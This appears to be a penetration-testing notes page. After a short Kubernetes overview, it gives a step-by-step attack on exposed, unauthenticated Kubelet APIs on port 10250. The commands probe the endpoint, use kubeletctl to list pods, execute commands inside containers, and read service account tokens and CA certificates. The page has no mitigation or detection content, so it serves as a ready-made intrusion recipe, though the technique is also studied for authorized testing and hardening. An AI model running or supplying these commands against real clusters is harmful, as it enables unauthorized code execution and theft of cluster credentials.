Kubernetes (K8s)

  • Definition: Open-source container orchestration platform.

  • Purpose: Deploy, scale, and manage containerized applications.

  • Components:

    • Control Plane: API server, Scheduler, Controller Manager, etcd

    • Worker Nodes (Minions): Run actual containers

Escalate privileges in a Kubernetes cluster by abusing the Kubelet API on port 10250 if it's exposed and unauthenticated


Step 1: Check if the Kubelet API is Exposed

curl -k https://<NODE_IP>:10250/pods

# If you get a JSON response → Kubelet is exposed.
# If you get “unauthorized” or a cert error → may need a token or client cert.

Step 2: Install kubeletctl (if not already installed)

go install github.com/cyberark/kubeletctl@latest

Step 3: List Running Pods

kubeletctl --server <NODE_IP>:10250 pods

Step 4: Try Remote Code Execution (RCE)

kubeletctl --server <NODE_IP>:10250 exec -p <POD_NAME> -c <CONTAINER_NAME> "id"

Step 5: Extract Service Account Token and CA Cert

kubeletctl --server <NODE_IP>:10250 exec -p <POD_NAME> -c <CONTAINER_NAME> "cat /var/run/secrets/kubernetes.io/serviceaccount/token"

kubeletctl --server <NODE_IP>:10250 exec -p <POD_NAME> -c <CONTAINER_NAME> "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

Last updated